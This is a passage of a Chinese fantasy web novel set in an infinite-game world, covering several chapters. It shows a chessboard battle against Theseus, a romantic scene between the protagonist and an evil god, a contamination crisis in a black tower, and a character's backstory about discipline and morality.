谢叙白反射性双臂相交抬高,撑起屏障抵挡。 嘭! 原以为会迎来疼痛,岂料什么感觉都没有,谢叙白倏然被宽厚大掌从后一捞,往后跌入坚实温热的胸膛。 突然到来的男人剑眉星目,丰神俊朗,猩红血雾席卷的风暴中将谢叙白牢牢护在怀中,看向忒修斯的眼神冷得像看死人,抬起手—— 骇人威压如百米海啸铺天盖地,帮助忒修斯的这部分规则之力被瞬间荡成碎末! 忒修斯口吐鲜血倒飞出去,灵魂几乎被撕碎,关键时候还是规则救了他,——棋盘不能对棋子造成致命伤害。 关键时候谢叙白果断从宴朔的怀抱中撑起身,金光疾如雷霆,一击正中他的胸口。 谢叙白本意是要留忒修斯一口气,毕竟他还没有问出制胜系统的关键。 结果忒修斯凄厉地惨叫一声,红着眼看他一眼,竟是发狠颤抖地抓住光刃,抬起锋利刀刃朝他自己的心口上一撞! “噗!” 水墨空间的忒修斯吐出一大口鲜血,座椅底下的一枚黑棋应声炸碎! 十枚黑棋只剩八枚。 事情还没完。 宴朔冲上去接住摇摇欲坠的谢叙白,看着青年惨白无力的样子,眼中立马被杀意灌满,暴戾的情绪充斥整个胸腔,厉声喝令规则:“剥夺它们的公民身份,全国通缉追杀!” 王令一出,规则退避。 担任游戏解说员的瘦长鬼影来不及做出反应就被剥夺身份,连忙用帽子遮住脸快速逃窜。 在狱中留待审查的肥猪监察会长透过铁门缝隙,看见外面杀气四溢的守卫,吓得脸色惨白,急忙化作血雾屁滚尿流地钻出窗外。 两枚身居高位的棋子一下子沦落为人人喊打喊杀的通缉犯,黑棋一方全线失势,局面一边倒地倾向白棋一方! 这正是将忒修斯一网打尽的好时机,谢叙白见状正要乘胜追击。 结果还没能追出去,眼前一阵发黑,被宴朔箭步一冲,稳稳地揽在怀里。 谢叙白咬紧牙关:“必须想办法抓住他,问清楚……” 青年刚才为了引君入瓮受了重伤,宴朔检查之后,眸色沉了又沉。 他没表现出来,反手将青年打横抱起,拍拍后背,用磁性浑厚的嗓音温声细语地哄劝道:“好,我一定帮你抓住他,现在先睡觉。” 谢叙白心想,就算你作死获取黑王的身份,那也是棋盘的一部分,必须遵循游戏规则,怎么追杀棋子? 而且他现在怎么可能睡得着? 宴朔仿佛知道他在想什么:“我没法杀他的棋,但能困住那些棋子留给你来处置,现在整个游戏王国都在我的掌控之下,抓住它们不过是时间问题。你这道分魂受伤极重,必须尽快接受治疗。” 谢叙白闭了闭眼,指尖掐入掌腹,一个劲儿地懊悔。 其实他心里很清楚,忒修斯根本没有把那两枚棋子放在心上。 况且他连自己的分魂都能说杀就杀,说弃就弃,何况瘦长鬼影和猪头会长。 现在就算吃掉那两枚黑棋,也没办法逼迫忒修斯就范。 最有可能逮住对方的机会已经在刚才错过了,是他低估了忒修斯的狠辣程度。 要想个办法逼忒修斯再次露出破绽。 必须尽快想个办法—— 突然,耳垂一疼。 宴朔面无表情地捏了捏谢叙白的耳朵,对上青年怔愣的眼睛:“我早该明白,单纯的劝导对你行不通。” 结实有力的臂膀固住身体,海风咸涩的气息萦绕鼻前。 金红色眼瞳不赞同地看过来,状似冷漠严厉,眼底的心疼却挥之不去。 谢叙白后知后觉地反应过来,宴朔的主意识回归了。 明明只是几天不见,却总感觉过去了很久。 ——有没有受伤?小一和眼镜怎么样了?和系统的对抗结果如何? 来不及问出这些话,谢叙白的意识越来越模糊,闭眼倒在宴朔的怀里。 宴朔抱着谢叙白脱离规则空间,来到黑塔第一层,冰冷得仿佛没有温度的眼眸垂下,俯瞰大地。 感受到黑王的不悦,万千亡魂大气都不敢喘一口,哆哆嗦嗦将脑袋埋得更低。 “王,吾王,求您息怒!” 众玩家将它们敬畏的模样收纳眼底,听到称呼心神俱震。 再抬头,迎面感受到宴朔身上那股不容抵抗的压迫感,浑身毛骨悚然,冷汗渗出后背。 原来那就是传说中的黑王。 可是最终BOSS怎么会这么早出现? 他们现在要怎么办? 宴朔现在要把谢叙白带去塔顶。 黑塔的权力层级和建设程度正如金字塔,楼层越高越是繁荣,游戏王国最优秀的医师和最精细高端的医疗设备都集中在那。 为了不影响副本稳定性,祂同样需要遵循设定,比如不能无缘无故长时间在下层逗留,就像君王不能一直罢朝。 并且,他们也要考虑忒修斯接下来不落子,将这盘棋无限拖延下去的可能。 到那时,想要获得这次游戏的胜利,玩家就必须登顶。 但那应该是玩家该努力的部分。 有祂掌权,这群人只要没废物到迈不开腿,总能登上去。 既然这样,谢叙白就没必要留在玩家身边了,省得一天到晚总是操心受伤。 宴朔身为邪神,奉行野兽弱肉强食的生存法则,和什么事情都要亲力亲为、手把手扶持的谢叙白观念相反。 ——没有波澜的大海,养不出雄壮矫健的鱼群。如果一个文明的浩劫,群体习惯于避在身后,只能靠单一个体殚心竭虑,勉强维系,那还有什么存在的必要? 人类没有这么脆弱。 当然,也不排除祂接收完躯壳记忆,看到谢叙白为人类频频受伤后,忍不住在迁怒。 宴朔的“视线”落在其他分魂身上。 幽深阴暗,看上去十万分想把他们一起打横抱走。 分魂“谢叙白”断了片,其他三个没有。 他们清楚凭自己的意志力,那道分魂应该还能再挺一会儿,会突然昏迷过去,不用多说,准是宴朔下的手。 还有宴朔刚才那句“只是单纯的劝导行不通”。 莫名让他们有股微妙的心虚。 再抬头,就对上了宴朔微眯的眼睛。 仿佛在问。 ——你的身体状况很不好。所以,跟我回去养精蓄锐,还是跟着他们继续受折腾? 于是乎。 驻扎在游戏王国网络世界控制舆论的“白色幽灵”突然变出一个耳机,在魂灵们疑惑的目光中:“困了,睡一小会儿,爱我就别打扰我。” 然后少年飞一般戴上耳机,蒙上被子,闭目安详装死尸。 宴初一扶着额头,眉头紧皱:“有点晕,不行,我得坐一会儿,不能乱动。” 转身风风火火大跨步,行如闪电,动如矫兔,一秒平移到年轻指挥官white的面前,佯装体力不支地倒了下去。 white反射性接住宴初一。 他刹那心想,人果然很神奇,就算同一个灵魂会在不同时期产生迥异的个性,也会采取同一种逃避方式。 white抬头对上宴朔幽暗的目光,又想自己身为前线指挥官,身经百战,历经磨难,至少得比他们有骨气。 他气定神闲稳若老狗,建立精神链接,引发精神共振,毫无滞涩地进入宴朔的意识海。 在宴朔再次开口之前,他猛然揪起人的衣领吻了上去,把男人亲得猝不及防目光一滞燥火难填神魂颠倒—— 方才撩开眼皮,眼尾因一时缺氧染上一片旖旎的艳红,语气铿锵有力,不由分说:“以防出岔子没法及时回援,我要留下来,您看您是完全赞同还是大力支持?” 第225章 成神进度:62% 宴朔却一时没说话,直勾勾地看着谢叙白。 年轻指挥官手指一蜷,心里忽而泛起忐忑,想着难道是没哄住? 虽然轮回多世,但他的时间几乎都耗在了在学习训练、开会、指挥作战等等公事公务上,就是这样,都总觉得时间不够,一分钟恨不能分成两半花。 是以谢叙白至今的恋爱经验仅邪神,还是被明恋,主动的次数一只手都能数过来。 之前是抗拒逃避,现在是生疏摸索,不知道他们这个物种差该怎么谈,全凭一时冲动吻上去,从没想过万一收不了场该怎么办。 宴朔沉默的时间多上那么一点,谢叙白就差点要被尴尬淹没了。 这么个大眼瞪小眼的局面,捂嘴逃跑吗?那太丢脸了。 再亲一口试一试?万一宴朔还是没反应,不是更尴尬了么。 不管谢叙白怎样一番头脑风暴,脸上都一点没有显露出来,状似若无其事地弯起眼眸,双腿已经有了后撤的趋向:“不说话就当您默认了,我——” 宴朔突然单手勾着他的腰,将他大力按在怀里。 谢叙白猝不及防撞上宴朔坚实的胸膛,浑厚的雄性荷尔蒙扑面而来,他心脏顿时扑通一声,脑海宛若惊雷炸响。 宴朔单手插入谢叙白柔顺的头发,强硬地掰住他的脸,含住那张柔软的唇,吞没了谢叙白所有想说的话。 邪神理论上不会爱上其他生命体,感情上视一切物种为空气,但谢叙白是例外。 从他们见面之初到后面无数次轮回循环,也只有谢叙白是例外。 灼热呼吸彼此交缠,鼻尖抵近两相摩挲。 那些压抑着的阴暗情绪全线爆发,通通化作一股莫名其妙的征服欲,朝着谢叙白长驱直入。 湿润黏稠的气息若触手无孔不入地侵入口腔的每一处角落,谢叙白完全合不拢嘴,眼眶没一会儿就红了个彻底。 他想说这太激烈了,哪有人只是接吻就爆发出要把人榨干的劲儿。 绷紧的手指用力推攘宴朔的胸口,让对方停一停,缓一缓,真的要受不了了。 岂料几根触手骤然圈起他的大腿往上一抬,再往两边一掰,失去平衡的谢叙白像被拎着后颈的猫,下意识将全身重量都依靠在唯一的支撑物——宴朔身上。 宴朔及双手往下,肌肉盘虬的臂膀托着他的臀腿,吻得愈发密不透风。 谢叙白想要后退却无路可退,大脑在不加节制的索取中一片空白,喉中发出急促又隐秘的喘息,睫毛震颤如鸦羽,眼角颤抖地湿了一片。 【拜托,别,别亲这么狠……】 【我还没成神,受不住您的,真的受不住。】 【放过我,宴总,宴朔,宴——】 刹那间快感如电流打入脑神经,谢叙白五指猛然绷紧、颤栗,意念都哆嗦起来。 他无比怀疑自己是不是要被宴朔生吞活剥,反复忍耐克制,终于忍不住眼泪水啪嗒一掉,挤出“呜——”的哽咽声。 双手在宴朔的后背和后脑勺胡乱地摸,像风雨里飘摇的扁舟,迫切地想要抓住什么支撑物,来构建岌岌可危的安全感。 便是这时,忽然摸到了宴朔滚烫的耳垂。 被亲得七荤八素脑子晕眩的谢叙白,竟然还有闲工夫去诧异这是个什么现象,可惜没来得及细看,便被淹没在了接下来的狂风骤雨。 等宴朔恋恋不舍地松口时,谢叙白感觉自己将近没了半条命,挂在男人身上宛如咸鱼,虚脱地急喘气。 他仍旧念着那滚烫的热意,泪眼迷蒙地瞧过去,意外看见男人的耳后根不知何时竟红了一片。 这是怎么……害羞了吗? 面无表情顶着一副要吃掉他的狠样子,不管他怎么求饶都不松口,结果自己在这里暗中害羞? 谢叙白简直气笑。 气完,又沉默下来。 确实意想不到。 他以为宴朔就算对他有好感,也不会非到没了谁活不下去的程度。 毕竟人类的一百年放在邪神漫长的生命周期里,大概就像蟪蛄比日月,根本没有可比性。 如果没有忒修斯的多嘴,宴朔会有几分可能告诉他,祂当初为了从系统那里抢回他毁掉半个神核。 又有几分可能会告诉他,祂为了拼凑他碎成渣的灵魂,放下神的倨傲,硬挺着火噬的剧痛也要去祈求四方诸神帮忙? 谢叙白轻声:“……傻子。” 他抬头,倾身凑近,闭上眼,在宴朔通红的耳朵上轻轻地吻了一下。 正给谢叙白顺着气的宴朔猝然一僵,半晌,眼睛闪烁,蠢蠢欲动,战欲再起:“不是不行了吗,还想要?” 谢叙白:“……” 突然棋盘世界狂风大作,原本偃旗息鼓的规则之力卷土重来,引得亡魂不安低吼。 是系统! 谢叙白和宴朔对视一眼,前者率先退出意识海。 意识海与现实流速不同,外面只过去不到半秒。 说明宴朔现身没多久,系统后脚就火急火燎地追了上来——宴朔抢夺黑王身份让它感到了威胁! 然而无限游戏限制玩家、NPC、BOSS,也同样限制着系统。 它不能违反游戏的公平性,只能通过规则不断施压,让宴朔履行黑王的权责,回到塔顶主掌大局。 宴朔冷笑一声,立于高空,不见祂开口,不容置疑的嗓音却裹挟着压迫力震响整个游戏王国! “不久后,整个王国将迎来它的另一位主人,我特此召令全国公民与外来的客人庆祝这一盛大重要的节日。” “从现在开始,所有的参赛者不需要支付游戏积分就能直接挑战每一层的守关BOSS。 期限是十天,只要在十天内顺利抵达最高层,就算赢下这场比赛,我与另一位王国主人将授予胜利者无上的荣耀和奖励。” 从宴朔讲出“王国另一位主人”这一句话时起,整个王国就掀起了轩然大波。 权力层酒杯啪一声倾倒在桌面,顺流而下浸透地毯,花容失色,急不可耐地差遣手下去打探情报。 中下层暂停手中的事务,各种猜测层出不穷,网络关于这件事的讨论激增猛涨,眨眼间高达十几万条的评论和转发量屠版王国各大新闻论坛! 人心各异,暗潮涌动。 而在乱成一锅粥的想法里,唯有一个问题整齐划一,令所有公民抓耳挠腮,迫切想要得到答案。 ——是谁? ——那位从未漏出过风声,却让暴戾霸道、独断专横的黑王甘愿让出一半权柄的神秘存在,到底是谁?? 听到游戏规则大改,不用玩游戏攒积分就能挑战登塔,玩家们瞬间按捺不住了,试炼副本里任何惊动规则的突发事件都隐藏着通关的重要信息! 不乏有人鼓起勇气往上一看。 这一看可不得了,组队频道立马叫破天,全员在线COS尖叫鸡。 :黑王的怀里是不是抱着一个人?我怎么看都感觉那个人像谢神啊? :不是像,我刚才用技能千里眼看过了,那就是谢叙白! :等等我突然想到了,黑王说的另一位主人该不会就是谢叙白吧?所以才改变规则利于玩家。 :? :?? :??????? :有没有人数过我神到底有多少个关系,这得从中央大厅排到街头巷尾了吧? :这下各位闯关者要考虑的事情就多了,而我只会赞美谢门! :谢门永存! :先别高兴那么早,如果游戏真变得这么简单,为什么初一大佬他们的脸色一点都不轻松? 宛如一盆凉水兜头淋下。 其他人立马冷静下来,扭头一看,以宴初一为首的几名大佬果然神色冷峻。 而他们目光所及之处,森冷的血雾正从地底源源不断渗出,朝着登塔的通道口汇聚。 不祥的预感自心头油然而生。 规则具有平衡性,宴朔设下有利于玩家的规则,系统就要从另一处找补回来。 冰冷的提示音响起。 【叮!下面通知一则事关游戏□□死存亡的重大变故。 由于黑塔第一层的守关BOSS被杀,无人镇守该层级,原本被镇压在王国之下的污染源即将爆发。 请玩家尽快遏止污染的蔓延,不然整个游戏王国将不复存在!】 第226章 成神进度:62%…… 黑塔门内第一层的中央区域,有一块被单独划分出来的圆形地块,直径长达上千米,视野平坦开阔,四周围着密不透风的合金电网,就是守关BOSS的擂台。 而前往黑塔下一层级的通道就笔直地矗立在这一擂台的正中间,形如一条绚烂神圣的光柱,从下往上贯穿天地。 突然,被系统称为“污染”的猩红血雾从地底大片涌出,像洪水开了闸,眨眼间跨过第一层十几条街道,疯狂汹涌地冲向登塔通道。 轰! 白色光柱猛一摇晃! 血雾翻涌,气焰嚣张,顺着光柱向上攀爬,扩散污染。 被污染的光柱表面一寸寸变黑,像被蛴螬啃食后迅速腐坏的树根。 眼看着光柱发出不堪重负的震响,将要倾塌—— 千钧一发之际,white和宴初一同时冲向两边。 金光瞬间拔地而起,形成十几米高的金色光幕,宛如城墙般隔绝血雾,将通道牢牢护在其中! 区域地图的限制解除,发现自己能够使用技能的玩家们大喜过望。 徐队长等巅峰成员率先挺进,展开屏障补足金光的空缺,一边大吼。 “有净化能力的人在前面开路,其他人跟上!” 几名【净化】玩家刚要出手,眼角余光瞥见一抹青翠欲滴的藤蔓。 他们对这玩意的心理阴影不是一般大,被吓得往旁边跳。 结果丛生的藤蔓飞速掠过他们的身边,看都没看他们一眼,气势汹汹地朝着血雾一拥而上。 藤蔓潮就像一群饥渴嗜血的野兽,横冲直撞地穿梭在翻涌的血雾中,枝条朝外舒展,表皮大幅度喷张,将血雾大口吸食到体内。 浓稠得几乎化不开的血雾在藤蔓潮的啃噬下,颜色一点点变得浅淡,顿时不甘示弱,反扑藤蔓将其绞碎。 碎屑中掉落无数豆大的种子,落地的瞬间又长出新的藤蔓,翘起枝条蜿蜒向上。 血雾与藤蔓相杀。前者源源不断,后者旧枝新续。 激烈的鏖战中,有藤蔓枯萎,有血雾震碎,竟是达到了一种微妙的平衡。 徐队长冲愣神的玩家们吼道:“走啊!还愣在这里做什么?” 玩家们如梦初醒,顺着藤蔓开辟出来的道路,用最快的速度抵达登塔的白色光柱。 他们知道自己能力不足,留下来不仅帮不上忙,还可能妨碍到其他人,所以没有迟疑,直接前往下一层级。 徐济使用神力代替金色光幕撑起通道前的屏障,见宴初一两人没有撤退的想法,急切大吼:“快走初一!留在这里不安全!” 宴初一却知道,眼下的危机不是逃走就能解决的。 他刚才驱使精神力搜寻地底,试图找到污染源并将其破坏,却猛然发现那丝丝缕缕的猩红血雾,竟然就来自于这座黑塔本身。 只要黑塔存在一日,污染就会源源不断地侵蚀它自身,直至国灭。 “它们不需要侵蚀整座塔。”旁边的年轻指挥官忽然问他,“如果第一层的地基被破坏,那整座楼会怎么样?” 会塌。 这就是系统用心险恶的地方。 他们根本撑不到污染向上蔓延,只要第一层坍塌,整座黑塔瞬间就会像多米诺骨牌一样跟着倒塌。 宴初一几乎没有停顿地接口:“我留下来。” 看似形势严峻,但解法并不难找。系统信息中就有一条至关重要的提示——守关BOSS身亡才会导致污染源爆发。 换句话说,只要有人能代替守关BOSS继续镇守在第一层,便能压制住污染。 一般的玩家或许做不到,但谢叙白可以侵入规则实施干扰,算专业对口。 white颔首:“那就麻烦你了。” 既然第七使徒已经出现,他们后续大可能还会撞见其他使徒,彼时究竟是敌是友,连他也不敢打包票。 但可以肯定的是,如果两方站在对立面,对使徒成员了如指掌的他往上登塔,会更有优势。 玩家陆陆续续撤退,徐济几人撑着屏障等他俩过去。 white忽然发现第七使徒没了影子,左右寻找他的踪迹,却骤然听到一声惨叫。 他心头一震,飞快朝声源处看过去。 大片红雾犹如猛虎扑食,将猝不及防的第七使徒吞没其中,周围的藤蔓凄厉颤动,眨眼间就干瘪枯萎了一大片! “希尔!” 情急之下white直接冲了过去。 金光疾驰如电,硬生生在翻涌的红雾中劈开一条通道。枯萎的枝条在空地上堆成黑褐色的小山,两条腿露在外面,似乎艰难地掩护着第七使徒奄奄一息的身体。 white来到第七使徒面前,上手扒开这些枯条。 然而刚抓进去,从手感就发现了不对劲,里面是空的,没东西! 刹那间年轻指挥官脸色一沉,他居然被忽悠了。 用的还是他之前用过的苦肉计。 white眯起眼睛,危险至极地左右一扫,最后在擂台上看见第七使徒的身影。 见他沉下脸,希尔几乎条件反射地吓得一哆嗦,抬脚却没有半点停顿,毅然决然地冲进了——守关点。 它类似于阵法的阵眼,此前能压制住污染也全靠守关BOSS镇压在那一个至关重要的点上。 不要忘记,希尔是半神,这意味着他能和谢叙白一样,在一定程度上干扰规则,一样可以暂代第一层的守关BOSS。 当他踏入守关点的瞬间,一股无法抵抗的威压铺天盖地席卷红雾! 大地震动,天空摇晃,猖狂作祟的猩红血雾顿时像被抽吸进宝葫芦里的妖怪,在不甘的挣扎里,形如倒退的龙卷风,飞速退回开裂的地缝。 地缝收合,完好如初,徒留地面上一片残桓断壁。 黄绿色藤蔓慵懒地游走在废墟之中,像巡逻的卫兵,时不时逮出一点从地底渗出来的污染,吞进肚子里。 虽然满目疮痍,却彻底恢复了平静。 white料想希尔应该没胆子坑害他,可他完全没想到,对方设下圈套唬他分心,只为牺牲自己接替守关BOSS的身份。 宴初一半只脚踩在守关点,只比第七使徒晚一步。 理论上守关BOSS的身份谁代都可以,也随时可以更替,但他还是很震惊。 昔日只会闯祸惹事的混小子突然会主动抗事了,其诡异程度不亚于“孩子静悄悄”。 他拧起眉头:“你……老实告诉我,是不是还惹了别的麻烦?” 弄死了几个被查实的叛徒算不算?这话第七使徒压根没敢说,被宴初一看得心发慌。 他立马瞪大眼睛,委屈巴巴地倒打一耙:“white!你怎么能这么想我?” “守关BOSS是我杀的,就不能是我心生愧疚,想要将功赎罪,弥补犯下的过错吗?” 宴初一懒得听他的鬼话,冷声道:“说实话。你知道我可以感知你的情绪波动。” 第七使徒强忍抱头下蹲的冲动,舔了舔干涩的嘴唇,终于说出实话:“好吧好吧!其实这是个交易!” “white,相信你也发现了,如果污染来源于黑塔本身,那么第一层会有的污染,第二层第三层第四层……每一层都会有!你又不是橡皮泥,能轻轻松松地把自己分成上百份去镇压所有层级。如果你真的这么做了,分散自己的力量,那才是中了系统的圈套,我们都知道它最忌惮也最想杀掉的就是你!” 第七使徒说:“我代替你站在这里,你就可以保留实力去对付真正棘手的敌人。第一层这么重要,你不可能将它交给其他玩家,只有半神的我能守住!” 青年说这话时神采飞扬,一副舍我其谁的模样。 但见识过他恐怖实力的人都知道,他确实有这个能耐。 宴初一静静地看着他,第七使徒强撑自信的表情,昂首挺胸和他对视。 少顷,前者说:“成为守关BOSS,有没有不舒服的地方?比如精神紊乱,出现幻觉?” 第七使徒的笑容顿时真实了三分:“没有,这些你不是一眼就能感受出来吗?” 别管是什么污染,和污染源挨得这么近,怎么可能一点影响都没有? 但宴初一从头到尾将第七使徒检查一遍,确实没发现什么异常。 正是此时一道不可忽略的目光落了下来,宴初一似有所觉地往高空上看,对上了宴朔沉静深邃的目光。 虽没有袒明,但那直勾勾的眼神里明显透着浓郁的求褒奖的意味。 嗯……看来黑王陛下也为压制污染出了不少力。 当着这么多人的面,宴初一总不能再去一趟宴朔的意识海。 向来做好事不留名的邪神却固执地看着他。 没辙,他只能偷偷地散出去一抹精神力,贴着宴朔的侧颊蹭了蹭,宛若留吻。 宴朔嘴角立马挑起一抹微不可察的弧度。 黑雾将那抹金色精神力缠绕,温柔地抱在怀里。 祂没有再停留,抱着谢叙白的分魂转身离去。 许清然和【重力】玩家不清楚黑王的性格,从看到谢叙白昏迷时起就担心到现在,见状想追,宴初一及时将他们拦下才作罢。 宴初一扭头看向眼巴巴的第七使徒,认真询问:“你说的交易指什么?” 希尔怔了怔,用拖长的咏叹调亲昵笑道:“放心,我只要你回答两个问题,不会对你造成任何损失。” 宴初一:“你问,但如果是不能回答的问题,我没法告诉你答案。” 希尔却一点都没有生气,相反,他很开心。 如果宴初一刚才不假思索地答应下来,他才会非常失望,因为那只代表对方没准备认真回答。 但white不愧是white,所以他永远都不会对人失望。 希尔欢快叫嚷:“那我还有一个要求,我要你用white的脸回答这两个问题!” 他脸颊微红:“那张脸看起来更有气势……不不,我是说,更认真一点。” 两道分魂的无语震耳欲聋:“……” 在旁边抱臂等待的年轻指挥官轻轻一叹,走上前,撩开眼皮淡淡地看过去,一个字不多不少:“问。” 希尔被他冷沉的语气吓得两条腿直打颤,脸却唰一下红了起来,眼波流转,满是仰慕。 要不是读心确定这孩子对自己没那个意思,white真怀疑他…… 不行,鸡皮疙瘩都起来了,打住,打住。 希尔陶醉够了,话锋一转:“第一问题,我想知道为什么使徒公会那么多人,你唯独对我那么,嗯……狠辣无情?” 他说这话时,语气忽然就变了,脸上虽然还是那副笑盈盈、甜腻腻的模样,却从柔弱的菟丝子瞬间变成了张牙舞爪的食人花。 “我观察过很久,能肯定不是我的错觉。公会里原本有比我更顽劣,甚至狠毒残忍罪不可赦的家伙,但你只对我格外严厉,就算是上面下达的惩罚,也必须先经过你的手。”希尔说,“可以告诉我吗?为什么,还说你很讨厌我?” 第227章 成神进度:62% 说到这个问题,希尔脸上连最后一丝笑意也没有了,充满了固执的困惑。 其实狠辣无情是夸张词,他曾经招惹的那些麻烦,因他牵连而必须担责的人恨不能将他丢上绞刑架吊死,或丢到海里喂鲨鱼。 但white的处理方式很单一,能动手绝不多废话。 导致很长一段时间,希尔都怀疑white是不是有什么特殊爱好,问题是没有。 他拿这些事旁敲侧击过,white要么是一脸尊重他人爱好的平静,要么在得知有人被强迫侮辱后,一脸厌恶和愤怒。 对这个问题,white半晌没吭声,好半天才用一言难尽的目光看着他:“我以为,你只愿意接受这种训练方式。” 希尔:“???” 两人陷入一时死寂。 在希尔写满不敢置信的眼神里,white揉着胀痛的眉头:“你忘了吗?正式训练的第一天你就把所有教官都揍了一遍,还咋咋呼呼地放言‘都不敢让我疼,你们凭什么教训我’。” white也不由得有些怀疑人生。 难道是他理解错了? 关键在他第一次因为看不顺眼将希尔逮着揍了一顿后,这家伙突然就变得特别听话,还乐颠颠地追在他身后当起了跟屁虫。 之后又三番两次在他面前提到这方面的内容,表现得欲盖弥彰,食髓知味。 谢叙白虽然不理解,但想到自己肩负的责任和用这种手段管教希尔的高效性,还是硬着头皮选择了尊重。 涉及个人隐私,他也不可能读心鉴别真假。 “至于不让其他人管你,其一是怕上面的人对你做手脚,毕竟你的能力特殊,很容易被利用。” white冷冷地说道:“其二就是你根本不服管,你知不知道每天送到我这里的投诉意见有多少?我敢让你去接触别的长官?” 他甚至怀疑这家伙时不时犯贱,是在主动找抽。 希尔一脸晴天霹雳。 可仔细一回想,似乎……真的是因为white揍了他,他才真心实意地决定跟随对方。 理由呢? 是他喜欢被人揍? 希尔下意识在心里发出一声嗤笑,怎么可能。 他睚眦必报心眼贼小,除了white,谁敢碰他一根手指头? 希尔突然一顿。 ……是啊,除了white,谁敢让他疼? 就像曾经伟岸正直又无所不能的父亲,看见他用菟丝子蚕食敌人的尸体后,不也支支吾吾一脸畏惧地说不出重话来了吗? 希尔小时候特别顽皮,会上房揭瓦,会因为好奇就兴致勃勃地拆掉电视机和钟表,还会在女孩子抽屉里放毛毛虫。 而他的父亲是个观念传统的老乡绅,对爱的教育嗤之以鼻。 希尔也不得不承认,或许那么一点点严厉的手段会让他更长记性。 每当他哭得稀里哗啦,父亲就会带他去河边钓鱼,或者去葡萄园摘葡萄。 冰凉的河水能缓解肿屁股的痛,葡萄的汁水能甜到心里去。 他可以带上父亲钓的鱼,去隔壁邻居家求一份香甜可口的芝士蛋糕。 或者带一碗冰冻过的葡萄,去学校哄被捉弄的女孩子开心。 曾经的希尔最喜欢被父亲抱在怀里,听父亲讲述那些为人处世的道理。 低沉的嗓音经历过风霜的打磨,岁月的赞歌好似在耳边传唱。 他如同在听英雄讲述王子屠龙的英勇故事,充满神往,满眼希冀,把那些话认真地记在脑子里。 要与人为善,要尊重女生,要不畏强权…… 后来呢? 当他拥有强大的实力后,所有反对的声音都自动地消失了。 好多人在他身边叽叽喳喳,像蛊惑天使堕落的魔鬼。 “您是如此强大,您想要做什么都可以。” “这世界本来就是强者为尊。” “道德?法律?只不过是弱者生怕暴露自己不如人的事实,试图建立秩序来约束强者罢了。” “正义善良?不不不,人只会在对自己有利的时候施行正义,不信的话,您可以试一试。” 希尔沉默了很久。 他不说话,其他人也不敢吭声。 周围的人畏惧着他,敬佩着他。 那无数道谄媚讨好的目光变成扭曲的魔爪,试图将他扯入地狱。 希尔忽然又想起了自己的父亲。 正直凛然的父亲,见到新闻里播报的犯人都会大声痛斥的父亲。 却对他投来和其他人一样讨好臣服的目光,说话的声音畏畏缩缩,小心翼翼。 像摘掉面具的小丑。 伟岸的形象轰然倒塌,连同希尔对这个世界的认知。 他听到自己笑着说:“好。” 便在那一天正式训练,将所有教官痛殴了个遍。 没人会多说什么,教官连学员都打不过,是他们无能。 哪怕希尔手段过分,场面惨烈,看见那诡异强大的寄生能力,也没人想要触及他的霉头。 使徒公会当然不会放任这种挑战组织权威的事情扩散,他们派来了更加强大的监察者,其中就有裴玉衡。 面对那些打不过的长官,希尔也从善如流地学会了蛰伏。 可是他心里不服气,在冷笑、蔑视。 他知道自己迟早会比那些人更强大,到那时候,不过是又一场地位和权力的交替。 弱者在强者面前放不出一个屁来,这就是世界最真实的模样。 “你在说什么蠢话?” 希尔陡然被冷嗤声喝醒。 他抬头一看,年轻的white看脏东西一样瞥着他:“你以为使徒公会为什么而成立,我们又为什么会出现在这里?” “要是所有人都像你以为的欺软怕硬,人类在无限游戏开启的那一刻就早已经不复存在了!” 不久后的某一场切磋,实力远远低于他的谢叙白,硬生生顶着被寄生的痛苦等到他露出破绽,身体力行地贯彻自己曾经的话,将他按在地上暴揍了一顿。 就是那一拳接一拳,打醒了希尔病态腐烂的观点,将他从岌岌可危的沼泽边缘强硬地拉了回来。 “所以……”希尔眨了眨眼睛,“如果我说自己不喜欢挨揍,你会换个方法吗?” white静静地看着他,忽然抬起手。 希尔反射性抱头。 但没有拳头落下,只有white温热薄削的手掌在他的脑袋上揉了揉:“希尔,你早就已经不需要那种约束了。” 他真心实意地说:“我在路上遇到了被亵渎之藤寄生的劫匪一伙,原以为你又在兴风作浪,但目前看来,你做到了坚守当初给自己定下的原则。” “这很好。”white说,“我误解了你,抱歉。” 菟丝子吸食血肉是技能特性,也是攻击手段,就像white觉得吸血鬼的存在合理,也不会在非常时期强迫希尔积德行善。 可以轮回重生的死亡游戏,很难用生死来界定正义和不义。 于是white只严令要求希尔,不能对无辜之人下手,吸食血肉要控制定量。 不要累积精神负荷,容易导致异化狂暴。 希尔曾经也对white发誓,他只会杀那些该死之人,以及人类的敌人。 他做到了。 劫匪和叛徒是该死之人,游戏王国的公民和守关BOSS是敌人。 并非正义无私,也称不上善良光明。 只是在混乱扭曲的世界里守住了底线,如此而已。 对上white的双眼,希尔的心脏扑通跳了一下,连忙挪开。 “那第二个问题……” 希尔突然感觉喉咙有点干涩,张了张嘴,又闭上,如此反复,终于艰难地问出了口:“你吞噬十一使徒神核的那天,究竟发生了什么?为什么游戏会改规则?为什么你会突然消失?” 他努力吐出那个憋在心里许久,折磨着他辗转反侧彻夜难眠,最想问出的问题:“为什么……为什么被你吃掉神核,却一点都不痛?” 那可是神核,与灵魂相连。 在希尔以为自己将迎来难以承受的疼痛时,他却一点都不痛。 他想到了一些让自己心惊胆战的原因,比如white会转移疼痛……如此昼思夜想,成了必须得到答案的执念。 轰隆——! 谢叙白的脑海里仿佛响起一道震耳欲聋的惊雷,他被猝然拉入回忆的深池,仿佛被汹涌浪涛没过口鼻,感到一阵晕眩和窒息。 …… 周围纷纷杂杂,吵闹不休,刺耳的警铃声响彻整个基地。 有谁在大吼:“white疯了!他杀了第二使徒!快跑,都快跑!去找监察会!!” “他在干什么?他想吞噬第二使徒的神核??” “上帝啊——” 梦境的主人非常茫然。 他们在说什么? white杀了第二使徒? 这怎么可能? 他们好不容易才凝结出神核,跨过神的境界,眼看着有能力在最终副本里和外神决一死战,绝地翻盘。 把人类胜利看得比生命还要重要的white,怎么可能在这个时候杀死第二使徒? 可是当梦境主人抬起头,却看到沾血的白色羽毛纷纷扬扬,从云霄落下,宛若落雪。 这里是使徒公会的领地,最初的领导人花费大量积分扩展数万里,按照地球曾经的模样建起山河平原。 每一棵树,一根稻谷,都由他们亲手栽种,是他们向往的归宿。 可在那激烈的战斗中,河水倒灌,大山崩裂,人造太阳宛如燃烧的火球从天空掉落,砸在农田燃起熊熊大火。 一切精心的布置,都在烈火中付之一炬。 漫天都是漆黑的空间裂缝和紫色雷电,宛若末世之景。 逆光中看不清交战双方是什么神情,但能隐约看见第二使徒的翅膀被折掉一半。 